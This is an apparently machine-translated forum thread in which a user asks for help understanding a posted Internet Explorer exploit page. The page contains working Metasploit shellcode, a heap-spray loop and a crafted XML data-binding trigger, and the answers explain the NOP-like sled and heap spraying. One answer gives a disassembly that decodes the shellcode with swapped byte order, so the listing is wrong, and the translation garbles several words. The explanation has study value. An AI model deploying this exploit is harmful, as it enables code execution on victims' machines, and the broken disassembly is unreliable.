帮我理解这个JavaScript漏洞

我通常没有难以阅读的JavaScript脚本,但这一个我无法弄清楚逻辑。 代码来自4天前发布的漏洞利用。 你可以在milw0rmfind它。

这里是代码:

<html> <div id="replace">x</div> <script> // windows/exec - 148 bytes // http://www.metasploit.com // Encoder: x86/shikata_ga_nai // EXITFUNC=process, CMD=calc.exe var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580"); // ugly heap spray, the d0nkey way! // works most of the time var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); for(i = 0; i < 100; i++) memory[i] = spray + shellcode; xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>"; tag = document.getElementById("replace"); tag.innerHTML = xmlcode; </script> </html> 

这是我相信它所做的,我希望你帮我解决我误解的部分。

variablesshellcode包含打开calc.exe的代码。 我不明白他们如何find这个奇怪的string…任何想法?

第二件事是可变spray 。 我不明白这个怪异的循环?

第三件事是从未使用过的variablesmemory ,他们为什么创build它?

最后一件事,XML标签在页面中做了什么?

更新

好吧,目前我有很好的答案,但大多是非常普遍的。 我想要更多的解释代码的价值。 一个例子是unescape("%u0a0a%u0a0a"); 。 这是什么意思? 同样的事情循环,为什么开发人员写道: length < 0xd0000 ? 我想更深入的了解,不仅是这个代码的理论。

该shellcode包含一些x86汇编指令,将执行实际的利用。 spray会产生一个长长的指令序列,logging下来。 由于我们通常无法findshellcode在内存中的确切位置,因此我们在它之前放置了大量的nop指令并跳转到那里。 memory数组将保存实际的x86代码以及跳转机制。 我们将制作的XML提供给有错误的库。 当它被parsing时,这个错误会导致指令指针寄存器被分配到我们的exploit中的某个地方,导致任意代码执行。

为了更深入地理解,你应该实际弄清楚x86代码中的内容。 将使用unscape将string表示的字节序列放在sprayvariables中。 这是有效的x86代码,填充堆的一大块,并跳转到shellcode的开始。 结束条件的原因是脚本引擎的string长度限制。 您不能有比特定长度更大的string。

在x86汇编中, 0a0a表示or cl, [edx] 。 对于我们的利用,这实际上等同于nop指令。 无论我们跳到spray ,我们都会到达下一条指令,直到达到我们实际要执行的代码的shellcode。

如果你看看XML,你会看到0x0a0a也在。 准确地描述发生了什么需要特定的漏洞利用知识(你必须知道错误在哪里以及如何被利用,我不知道)。 但是,似乎我们强制Internet Explorer通过将innerHtml设置为该恶意XMLstring来触发错误代码。 Internet Explorer试图parsing它,而且错误的代码以某种方式将控制权交给了arrays所在的内存位置(因为它是一个大块,跳过的概率很高)。 当我们跳到那里时,CPU会一直执行or cl, [edx]执行or cl, [edx]指令,直到到达内存中的shellcode的开始位置。

我已经反汇编了shellcode:

 00000000 C9 leave 00000001 2B1F sub ebx,[edi] 00000003 B10C mov cl,0xc 00000005 BDC536DB9B mov ebp,0x9bdb36c5 0000000A D9C5 fld st5 0000000C 2474 and al,0x74 0000000E 5A pop edx 0000000F F4 hlt 00000010 EA8331FC0B6A6A jmp 0x6a6a:0xbfc3183 00000017 03D4 add edx,esp 00000019 07 pop es 0000001A 67305CFF xor [si-0x1],bl 0000001E 98 cwde 0000001F BBD7FFA4FE mov ebx,0xfea4ffd7 00000024 9B wait 00000025 74AD jz 0xffffffd4 00000027 058B8B028D add eax,0x8d028b8b 0000002C D893BCCD35A2 fcom dword [ebx+0xa235cdbc] 00000032 37 aaa 00000033 B84290A63A mov eax,0x3aa69042 00000038 94 xchg eax,esp 00000039 E99AA4D58D jmp 0x8dd5a4d8 0000003E E5A3 in eax,0xa3 00000040 1F pop ds 00000041 4C dec esp 00000042 EB46 jmp short 0x8a 00000044 4B dec ebx 00000045 8CD0 mov eax,ss 00000047 AD lodsd 00000048 A844 test al,0x44 0000004A 52 push edx 0000004B 4A dec edx 0000004C 3B81B80DD748 cmp eax,[ecx+0x48d70db8] 00000052 4B dec ebx 00000053 D46C aam 0x6c 00000055 46 inc esi 00000056 1392734A204F adc edx,[edx+0x4f204a73] 0000005C F8 clc 0000005D 6E outsb 0000005E DC8EA20726B4 fmul qword [esi+0xb42607a2] 00000064 04D4 add al,0xd4 00000066 D084ECBA978221 rol byte [esp+ebp*8+0x218297ba],1 0000006D 7CE8 jl 0x57 0000006F C0CA8C ror dl,0x8c 00000072 F4 hlt 00000073 A6 cmpsb 00000074 47 inc edi 00000075 210D2EA0B0CD and [0xcdb0a02e],ecx 0000007B 2CA8 sub al,0xa8 0000007D B05B mov al,0x5b 0000007F 43 inc ebx 00000080 F4 hlt 00000081 24E8 and al,0xe8 00000083 7A9C jpe 0x21 00000085 BB857DCBA0 mov ebx,0xa0cb7d85 0000008A 7DED jnl 0x79 0000008C 92 xchg eax,edx 0000008D 09E1 or ecx,esp 0000008F 96 xchg eax,esi 00000090 315580 xor [ebp-0x80],edx 

理解这个shellcode需要x86汇编知识和MS库本身的问题(当我们到达这里时知道系统状态是什么),而不是JavaScript! 该代码将依次执行calc.exe

你应该看看堆喷洒:

http://en.wikipedia.org/wiki/Heap_spraying

这看起来像是微软发布紧急补丁的最新Internet Explorer漏洞的一个漏洞。 它在Microsoft的XML处理程序的数据绑定function中使用了一个缺陷,导致堆内存不正确的释放。

Shellcode是在发生错误时运行的机器代码。 喷雾和记忆只是堆上分配的一些空间,以帮助发生可利用的情况。

堆喷洒是利用浏览器的常用方式,如果你喜欢,你可以find如下几个post: http : //sf-freedom.blogspot.com/2006/06/heap-spraying-introduction.html

任何时候,当我看到在漏洞利用讨论中没有得到解决的内存时,我首先想到的是漏洞是某种缓冲区溢出,在这种情况下,内存要么导致缓冲区溢出,要么一旦缓冲区溢出。

这是来自metasploit,这意味着它使用了一个metasploit shell代码。 它是开源的,所以你可以去抢它: http : //www.metasploit.com/

有关漏洞本身的更多背景信息,我build议阅读MS08-078和SDL 。

请参阅HTML中的字符编码 。

它是以stringforms编码的二进制数据,JavaScript正在解码。

XSS的通用forms也。

你可以在这里看到所有的编码技巧:

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project